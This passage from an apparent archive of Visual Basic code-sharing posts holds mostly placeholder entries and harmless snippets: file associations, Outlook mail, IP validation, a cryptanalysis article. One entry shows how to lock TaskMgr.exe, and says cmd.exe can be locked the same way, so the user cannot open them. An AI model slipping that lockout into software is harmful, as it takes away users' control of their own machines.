\nregedit).┬á Go to HKEY_CLASSES_ROOT and search for your desired \nextension.┬á If it's not there, it's yours!!!\nOK, now let's get to \nsome code.┬á To set the extension, use this handy snippet (compliments of \nMSDN Knowledge Base) \n\n<pre>\nOption Explicit\n Private Declare Function RegCreateKey Lib \"advapi32.dll\" Alias _\n \"RegCreateKeyA\" (ByVal hKey As Long, _\n ByVal lpSubKey As String, _\n phkResult As Long) As Long\n Private Declare Function RegSetValue Lib \"advapi32.dll\" Alias _\n \"RegSetValueA\" (ByVal hKey As Long, _\n ByVal lpSubKey As String, _\n ByVal dwType As Long, _\n ByVal lpData As String, _\n ByVal cbData As Long) As Long\n ' Return codes from Registration functions.\n Const ERROR_SUCCESS = 0&\n Const ERROR_BADDB = 1&\n Const ERROR_BADKEY = 2&\n Const ERROR_CANTOPEN = 3&\n Const ERROR_CANTREAD = 4&\n Const ERROR_CANTWRITE = 5&\n Const ERROR_OUTOFMEMORY = 6&\n Const ERROR_INVALID_PARAMETER = 7&\n Const ERROR_ACCESS_DENIED = 8&\n Private Const HKEY_CLASSES_ROOT = &H80000000\n Private Const MAX_PATH = 260&\n Private Const REG_SZ = 1\n Private Sub Form_Click()\n Dim sKeyName As String 'Holds Key Name in registry.\n Dim sKeyValue As String 'Holds Key Value in registry.\n Dim ret& 'Holds error status if any from API calls.\n Dim lphKey& 'Holds created key handle from RegCreateKey.\n 'This creates a Root entry called \"MyApp\".\n sKeyName = \"MyApp\"\n sKeyValue = \"My Application\"\n ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)\n ret& = RegSetValue&(lphKey&, \"\", REG_SZ, sKeyValue, 0&)\n 'This creates a Root entry called .BAR associated with \"MyApp\".\n sKeyName = \".BAR\"\n sKeyValue = \"MyApp\"\n ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)\n ret& = RegSetValue&(lphKey&, \"\", REG_SZ, sKeyValue, 0&)\n 'This sets the command line for \"MyApp\".\n sKeyName = \"MyApp\"\n sKeyValue = \"c:\\mydir\\my.exe %1\"\n ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)\n ret& = RegSetValue&(lphKey&, \"shell\\open\\command\", REG_SZ, _\n sKeyValue, MAX_PATH)\n End Sub\n</pre>\n\n Then, change 'MyApp' to match your program's name (abbreviated) and 'My Application' to your program's name, and the file path to your program's (make sure to leave the %1). Also, change the extension (here, .BAR) to your own, which can be lowercase or uppercase.\n This will tell the computer that when a file of this \nextension is to be opened, it should start your program.┬á It does not, \nhowever, tell your program to open the file when it starts up.┬á To do that, \nyou need the next bit of code.\nThe way your program knows what file to open is the Command \nLine.┬á The command line contains any arguments your program needs┬áwhen \nit starts.┬á In this case, it contains the path of the file to open.┬á \nThe way to access the Command Line is through the keyword \"Command\".┬á It \ncontains the string that is the file's path.┬á So, in the Form_Load \nevent...\n\n<pre>\nIf Command <> \"\" Then\n LoadFile(Command)\nEnd If\n</pre>\nOne thing about the command line: it only works like this \nfor compiled EXEs.┬á To simulate this in VB's IDE, go to the Project menu, \nclick Project Properties, then the Make tab, and put in the file path in the \n\"Command Line Arguments\" text box.┬á Compile and run.\nNow you should be set!┬á Start your program, create a \nfile, save it, exit the program, and double click on the file.┬á It should \nopen in your program.┬á If you have any problems, feel free to email \nme.\nHope this helped."},{"WorldId":1,"id":59221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59224,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59226,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59229,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59230,"LineNumber":1,"line":"'This is a simple way to use the Outlook reference to send an e-mail with an attachment\n'Set the Boolean to true at the end of the SendMail function call to display the e-mail\n'instead of automatically sending it.\n'INSTRUCTIONS:\n'* Click PROJECT - REFERENCES\n'* Check the box next to \"Microsoft Outlook ## Object Library\n'* Copy the below code into a form\n'\nFunction SendMail(EM_TO, Em_CC, EM_BCC, EM_Subject, EM_Body, EM_Attachment As String, Display As Boolean)\n Dim objOA As Outlook.Application\n Dim objMI As Outlook.MailItem\n Dim obgAtt As Outlook.Attachments\n Set objOA = New Outlook.Application\n Set objMI = objOA.CreateItem(olMailItem)\n If EM_TO <> \"\" Then objMI.To = EM_TO\n If Em_CC <> \"\" Then objMI.CC = Em_CC\n If EM_BCC <> \"\" Then objMI.BCC = EM_BCC\n If EM_Subject <> \"\" Then objMI.Subject = EM_Subject\n If EM_Body <> \"\" Then objMI.Body = EM_Body\n If EM_Attachment <> \"\" Then objMI.Attachments.Add EM_Attachment, 1, , EM_Attachment\n If Display Then\n objMI.Display\n Else\n objMI.Send\n End If\n Set objOA = Nothing\n Set objMI = Nothing\nEnd Function\nPrivate Sub Form_Load()\n 'How to call the SendMail function. If you do not want a function of the main just use two quotes and a comma\n 'instead of filling the string variable. Example of a call with a To only:\n 'SendMail \"SendTo@Address.com\", \"\", \"\", \"\", \"\", \"\", True\n 'The code represented here will error unless a real attachment path is specified.\n SendMail \"SendTo@Address.com\", \"CarbonCopy@Address.com\", \"BlindCC@Address.com\", \"SUBJECT\", \"BODY\", \"C:\\Attachment.txt\", False\nEnd Sub"},{"WorldId":1,"id":59231,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59236,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59248,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59265,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59286,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59289,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59297,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59299,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59334,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59354,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59361,"LineNumber":1,"line":"The kind folk at Planet-Source-Code ran a poll some years ago, asking if they would like a subscription service in which all 'amature' code (Code that doesn't meet their standards, no offence intended for those who post to aid others in learning visual basic etc.) is eliminated, simply leaving high-quality code. The idea never really took off, because (I believe), people don't like to pay for anything :). \nI am putting this topic back on the table, so to speak. Would fellow PSC-ers be interested in a FREE, professional section, which lets advanced programmers see what else they can do? (I know I'm constantly searching PSC for ideas for additions to my already bloated chat program PSC (Currently working it's way up the contest board, and is available to view at: http://pscode.com/vb/default.asp?lngCId=59265&lngWId=1), only to find simple (again, no offence) chat programs designed to show 'beginners' how to create a chat program)\nIf your interested in 'motivating' psc to do this for nothing, then please comment here, and even vote, so if this thing makes it onto the code-contest board, then more and more will see it, and maybe even the PSC folk may look at it and bring it up again in the PSC 'admin' circle\nPlease, no flames or criticism. This is NOT a cheap way to win votes, but to make PSC a better place for all. What do you think?"},{"WorldId":1,"id":59363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59381,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59396,"LineNumber":1,"line":"Online petition to continue Visual Basic on\nhttp://classicvb.org/petition/"},{"WorldId":1,"id":59399,"LineNumber":1,"line":"Open \"C:\\Windows\\System32\\TaskMgr.exe\" for Binary as #1\n'Thats all you have to do to disable CTRL+ALT+DEL to reinable it all you have to do is Close #1. This code can be changed to stop CMD.EXE as well as command.com. Now take it easy on me, i posted this in hopes someone will find it usefull."},{"WorldId":1,"id":59402,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59406,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59408,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59410,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59419,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59439,"LineNumber":1,"line":"wb.Navigate \"https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&continue=http%3A%2F%2Fgmail.google.com%2Fgmail%3Fui%3Dhtml%26zy%3Dl\"\n \n Do Until wb.ReadyState = READYSTATE_COMPLETE\n DoEvents\n Loop\n On Error Resume Next\n \n wb.Document.Forms(0).email.Value = \"username\"\n wb.Document.Forms(0).passwd.Value = \"password\"\n wb.Document.Forms(0).submit"},{"WorldId":1,"id":59453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59454,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59483,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59486,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59488,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59521,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59523,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59527,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59535,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59552,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59565,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59591,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59593,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59594,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57790,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57807,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57815,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57818,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57829,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57837,"LineNumber":1,"line":" Public Function CountChar(vText as String, vChar as String, Optional IgnoreCase as Boolean) as Integer \n If IgnoreCase Then \n vText = LCase$(vText) \n vChar = LCase$(vChar) End If \n Dim L as Integer \n L = Len(vText) \n vText = Replace$(vText, vChar, \"\") \n CountChar = (L - Len(vText)) / Len(vChar) \nEnd Function"},{"WorldId":1,"id":57843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57844,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57848,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57850,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57853,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57854,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57864,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57865,"LineNumber":1,"line":"STEP1 - Put a DBGrid Control on a Form and connect it to a Data Control\nSTEP2 - put a combo box over the DBGrid and set the visible property to False and set the\n width of the Combo equal to width of a particular Column of DbGrid control, \n which you want to populate the data.\nSTEP3 - Add the following code in Form_Load, DbGrid1_Rowcolchange and Combo1_Click() Events\n\nPrivate Sub Form_Load()\n \n 'POPULATE THE COMBO BOX WITH THE DESIRED VALUES\n Combo1.AddItem \"MYTEXT1\"\n Combo1.AddItem \"MYTEXT2\"\n Combo1.AddItem \"MYTEXT3\"\n'ALTERNATIVELY, COMBO BOX CAN ALSO BE POPULATED WITH DATA FROM A TABLE.\nEnd Sub\n\nPrivate Sub DBGrid1_RowColChange(LastRow As Variant, ByVal LastCol As Integer)\n \n Dim Currentrow, CurrentCol\n Currentrow = DBGrid1.Row\n CurrentCol = DBGrid1.Col\n \n ' HERE THE VALUE 2 MEANS, THE PARTICULAR\n' COLUMN WHICH REQUIRES THE LIST OF DATA \n ' FROM COMBO BOX. \n If CurrentCol = 2 Then\n Combo1.Visible = True\n Combo1.Top = Me.DBGrid1.RowTop(Currentrow) + DBGrid1.RowHeight \n Combo1.Left = 1950\n Combo1.Width = 980\n Combo1.Text = DBGrid1.Text ' ASSIGNING\n ' PARTICULAR CELL VALUE OF DBGRID TO COMBO\n Else\n Combo1.Visible = False\n End If\nEnd Sub\n\nPrivate Sub Combo1_Click()\n DBGrid1.Col = 2\n DBGrid1.Text = Me.Combo1.Text ' ASSIGNING THE\n ' COMBO VALUE TO PARTICULAR CELL OF DBGRID\nEnd Sub"},{"WorldId":1,"id":57866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57868,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57877,"LineNumber":1,"line":"Here is a project for the advanced geeks around PSC here. I ran into some of the most major modals I have ever seen in the entire time I been coding. However its going to take some serious manpower to break these monsters down to where us VB common folk can get a grip on them. The website is called Karen's Power Tools the link is here : http://www.karenware.com/powertools.asp You will have to click on each individual program. Each programs page has downloadable source code, this is where you find these killer modules. Hold on to your hats because they will blow your mind !!!! Please take time to post update links on this articles page to broken down versions."},{"WorldId":1,"id":57882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57887,"LineNumber":1,"line":"You please open the url bellow, save the HTML to your computer. This will help you.>>>>>>>>>>>>\n\nhttp://www.student-zw.fh-kl.de/~stwi0001/imp/pgr/vb/apiref/index.htm <<<<<<<<<<<\n\nBy,\nJim Jose"},{"WorldId":1,"id":57889,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57912,"LineNumber":1,"line":"Turorial is included in attached zip file\n \nDon't forget to comment and vote"},{"WorldId":1,"id":57915,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57917,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57961,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57977,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57979,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57994,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57997,"LineNumber":1,"line":"Private Function IsIP(strIP As String) As Boolean\nDim splitIP() As String, i As Long\nIsIP = True 'Starts out as true\nsplitIP$ = Split(strIP$, \".\", -1, 1) 'Split IP to check value\n'==============================================================\n'Things we must check to verify IP\n'1. Make sure each section of IP is not greater than 255\n'2. Make sure each section of IP does not contain a negative\n'3. Make sure each section of IP is numeric\n'==============================================================\n For i = 0 To UBound(splitIP$) 'loop through array and check 3 things\n If IsNumeric(splitIP(i)) = False Then\n IsIP = False\n Exit For\n Else\n If splitIP(i) > 255 Or splitIP(i) < 0 Then\n IsIP = False\n Exit For\n End If\n End If\n Next i\nEnd Function"},{"WorldId":1,"id":57999,"LineNumber":1,"line":"Private Function IsIP(strIP As String) As Boolean\n Dim splitIP() As String, i As Long\n IsIP = True 'Starts out as true\n splitIP$ = Split(strIP$, \".\", -1, 1) 'Split IP To check value\n '========================================\n 'Things we must check to verify IP\n '1. Make sure there are 4 sections to IP\n '2. Make sure each section of IP is not\n ' greater than 255\n '3. Make sure each section of IP does\n ' not t contain a negative\n '4. Make sure each section of IP is nume-\n ' ric\n '5. Make sure first section of IP is not\n ' 0\n '=======================================\n If UBound(splitIP$) <> 3 Then\n IsIP = False 'make sure there is only 4 nodes =)\n Else\n For i = 0 To UBound(splitIP$) 'loop through array and check 3 things\n \n \n If IsNumeric(splitIP(i)) = False Then\n IsIP = False\n Exit For\n Else\n \n If splitIP(0) = 0 Then 'first digit cannot be 0\n IsIP = False\n Exit For\n End If\n \n If splitIP(i) > 255 Or splitIP(i) < 0 Then\n IsIP = False\n Exit For\n End If\n End If\n Next i\n End If\n \nEnd Function"},{"WorldId":1,"id":58004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58012,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58041,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58064,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58066,"LineNumber":1,"line":"After reading \"The Code Book\", by Simon Singh I have been inspired to start cryptanalysis and have been attempting to write strong encryption algorithms and break them. This article focuses on how to use Frequency Analysis - the method of determining substituted characters by analyzing the frequency, or repetition/iterations of characters and comparing them to standard English.\nFirst, I will give a brief overview of the steps taken to use Frequency Analysis.\n1. The first step of Frequency Analysis is to count up the frequencies of each character in the ciphertext. I have included a .zip which automatically does this for you. There should be about five letters in which have a frequency less than 1% and they are most likely the letters j, k, q, x, and z. One of the letters should have a frequency greater than 10%, which probably represents the letter \"e\". That is, this generalization occurs only if the language it is written in follows the frequency chart for it's specific language, in this case, is English.\n2. If the frequency chart follows the english frequency chart but decipherment is still not possible, the next step is to focus on pairs of repeated letters. For instance, in English, the most commonly repeated letters are as follows: ss, ee, tt, ff, ll, mm, and oo. If the ciphertext has any repeated characters, you can assume that they are one of those.\n3. If the ciphertext has spaces between words, then try to decipher words that contain a length of less than four letters. Here is a list of one to three letter words that are most common and can be tried when deciphering: \n1 Letter: A, I \n2 Letters: of, to, in, it, is, be, as, at, so, we, he, by, or, on, do, if, me, my, up, an, go, no, us, am \n3 Letters: the, and\n4. If it is possible, find english texts that are similar to the ciphertext and use those for your frequency chart to get a most accurate chart. For instance, excerpt taken from \"The Code Book\"\n\"military messages tend to omit pronouns and articles, and the loss of words such as I, he, a and the will reduce the frequency of some of the commonest letters. If you know you are tackling a military message, you should use a frequency table generated from other military messages.\"\n5. A skill commonly used in frequency analysis is the ability to indentify words or whole phrases based on experience or guesses. For example, if the military sends an encrypted weather report at 6:00 PM everyday, you can possibly assume the first word of the ciphertext may be the word \"Weather\", in which you could use to help break the rest of the ciphertext. These are known as cribs.\n6. Last, but not least, if two frequency charts seem to match, but the ciphertext is not readable, this draws the conclusion that the text is indeed not a substitution cipher, but a transposition cipher.\n7. Further methods of frequency analysis become more complicating, but can further help a person break a cipher. These include gathering statistics on the relationships between letters -how often a letter is seen neighboring another letter, or how often a letter begins a new word or ends a new word. Frequency analysis is a powerful tool for deciphering text if you follow the correct steps.\n\nThe .zip I have included offers a frequency chart generator in which you can export the information to a .txt file. I plan to further this project into a fully-functional Frequency Analysis Decrypter utility which will take the user step-by-step to decrypt the text. Thank you for reading."},{"WorldId":1,"id":58067,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58069,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58070,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58072,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58081,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58086,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58088,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58106,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58111,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58113,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58115,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58119,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58121,"LineNumber":1,"line":"http://www.kidev.com/files/TinyCompiler.zip"},{"WorldId":1,"id":58124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58133,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58138,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58139,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58140,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58155,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58162,"LineNumber":1,"line":"'Use Two Buttons.... and Name Them\n'\"Hold\" For Holding Mic on PalTalk\n'\"Release\" For Releasing Mic From Holding On PalTalk\nPrivate Sub Hold_Click()\n'Call keybd_event(vbKeyF9, 0, 0, 0)\nCall keybd_event(VK_F9, 0, 0, 0) \nEnd Sub\nPrivate Sub Release_Click()\n'Call keybd_event(vbKeyF9, 0, vbKeyUp, 0)\nCall keybd_event(VK_F9, 0, KEYEVENTF_KEYUP, 0) \nEnd Sub"},{"WorldId":1,"id":58167,"LineNumber":1,"line":"Private Function ProjectSPGetText(Window2GetTextFrom As Long) As String\nDim GetBanner As String * 256\nIf Window2GetTextFrom <> 0 Then\nCall SendMessageString(Window2GetTextFrom, WM_GETTEXT, 256, GetBanner)\n'Gets The Text, And Saves The Text in a String Called : GetBanner\nDoEvents\n'This Make Sure That The GetText Method Is Completed Before The Next Step\nProjectSPGetText = GetBanner\n'Then This Shows The Saved String From The GetText Method And Shows in The Text Box, Or You Can Also Use a RichTextBox\nElse\nMsgBox \"The Room Window Or Control Is Not Open...\", vbInformation\n'If The Room is Not Open, This Messege Will Popup as a Information\nEnd If\nEnd Function"},{"WorldId":1,"id":58170,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58188,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58189,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58208,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58211,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58218,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58223,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58225,"LineNumber":1,"line":"Public Function DefaultBrowser()\nOn Error Resume Next\nDim Regentry As String\nSet TheReg = CreateObject(\"Wscript.Shell\")\nRegentry = TheReg.RegRead(\"HKEY_CLASSES_ROOT\\HTTP\\shell\\open\\command\\\")\nRegentry = Replace(Regentry, Chr(34), \"\")\nRegentry = Mid(Regentry, 1, InStr(1, LCase(Regentry), \".exe\") + 3)\nDefaultBrowser = Regentry\nEnd Function"},{"WorldId":1,"id":58228,"LineNumber":1,"line":"Sub RemoveDuplicates(ListBox As ListBox)\nDim Col As New Collection\nDim i As Long\nOn Error Resume Next\nIf ListBox.ListCount > 1 Then\n For i = 0 To ListBox.ListCount - 1\n Col.Add ListBox.List(i), ListBox.List(i)\n Next\n ListBox.Clear\n For i = 1 To Col.Count\n ListBox.AddItem Col.Item(i)\n Next\n Set Col = Nothing\nEnd If\nEnd Sub"},{"WorldId":1,"id":58230,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58262,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58265,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58274,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58278,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58295,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58298,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58299,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58302,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58308,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58325,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58327,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58332,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58337,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51186,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51187,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51200,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51212,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51213,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51214,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51229,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51231,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51242,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51259,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51262,"LineNumber":1,"line":"'In the KeyPress event of a textbox\n'Shall we say you have put one textbox in your form\n'Here it goes\nPrivate Sub text1_KeyPress(Keyascii as Integer)\nSelect case Keyascii\n \ncase asc(vbcr) \n Keyascii=0 \n \n case 8,46\n case 47 to 58 \n case else\n Keyascii=0\nEnd Select\nEnd Sub\n"},{"WorldId":1,"id":51264,"LineNumber":1,"line":"What is Xor? This article will tell you why 10 Xor 12 is 6 and other stuff like that so anyway. Lets just start simple. Xor is done in binary so, the first step would be to convert the numbers into binary. 10 in binary is 1010 and 12 in binary is 1100. This can be figured out by using the windows calculator. (I'll save counting in binary and binary conversions for the next article.) So how does 1010 Xor 1100 = 6? The simplest way to do this would be to write the up and down like you were about to add them.\n1010\n1100\nOK. Now Xoring (whatever) them is real simple. Just add them, but when ever you see a 2 write 0 instead. So,\n1010\n1100 =\n0110\nSimple, yes! 110 (you can remove 0's at the beggining) in decimal is 6! One last thing worth mentioning is if there arn't enough digits in a number count them as 0's. For example:\n1101\n 110 =\n1011\nYou count the blank spaces as 0's. This is my first article so please comment!\n"},{"WorldId":1,"id":51268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51271,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51281,"LineNumber":1,"line":"Hey.\nThis is my program i made in about 2 days.\nIts a http webserver that supports PHP, PERL and my own simply language (still under heavy development) called PSI.\nIt also has alot of extra neat features you can use.\nThis 2 day project has gotten bigger, and now im on version 1.3, and its still being made better.\nI Released this program under the GNU Public Licence, so it has the source code included.\nMy Website hosts all the vb made server apps, all free including source.\nHttp://enw.uni.cc\nIf you wish to see updateds made by me , go there , or to downloaded the latest version go there. Ill let you go there to download it instead of downloading off 